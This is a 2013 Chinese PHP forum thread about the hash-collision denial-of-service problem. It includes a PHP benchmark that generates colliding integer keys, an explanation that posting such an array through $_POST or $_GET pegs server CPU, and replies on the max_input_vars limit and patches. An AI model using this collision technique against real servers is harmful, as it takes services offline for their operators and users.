+ -
当前位置:首页 → 问答吧 → 利用hash冲突构造的数据几乎无敌呀

利用hash冲突构造的数据几乎无敌呀

时间:2013-04-09

来源:互联网

目前所谓 的补丁只是限制了 post的数据量,只定义在 1000个以下

<?php
$size=pow(2,16);
 
$startTime=microtime(true);
$array=array();
for($key=0,$maxKey=($size-1)*$size;$key<=$maxKey;$key+=$size){
    $array[$key]=0;
}
$endTime=microtime(true);
echo'插入 ',$size,' 个hash碰撞的元素需要 ',$endTime-$startTime,' 秒',"\n";
$startTime=microtime(true);
$array=array();
for($key=0,$maxKey=$size-1;$key<=$maxKey;++$key){
    $array[$key]=0;
}
$endTime=microtime(true);
echo'插入 ',$size,' 个普通元素需要 ',$endTime-$startTime,' 秒',"\n";
?>

本地测试 $size=pow(2,16) 与$pow(2,15) 速度多2秒
如果一个 程序要接收 _POST 或者_GET
比如一个处理注册的  要处理username的表单
只要$_POST['username']=$array 这种构造的数据。
服务器立刻 cpu飙升到100%


作者: 大水车   发布时间: 2013-04-09

可以配置修改的数据量。

作者: hooi   发布时间: 2013-04-10

木有办法的吧

比如普通的论坛,允许别人发帖,这个就是接收 $_POST过来的参数

$_POST['title'] =$hash_data_array//这个是构造的hash
几个进程直接让运行php的程序cpu飙升

作者: 大水车   发布时间: 2013-04-10

max_input_vars从 PHP 5.3.9 起可用,默认值为1000。

默认的情况下max_input_vars=1000 也就是说最大1000个变量,超过即被过滤。

作者: hooi   发布时间: 2013-04-10

hooi 发表于 2013-4-10 17:53
max_input_vars从 PHP 5.3.9 起可用,默认值为1000。

默认的情况下max_input_vars=1000 也就是说最大1000 ...

鸟哥写了 补丁

5.2也有

这些 貌似也 是 临时的 解决方案

作者: 大水车   发布时间: 2013-04-10

嗯 这个问题鸟哥博客好像有说过。。。

作者: hooi   发布时间: 2013-04-11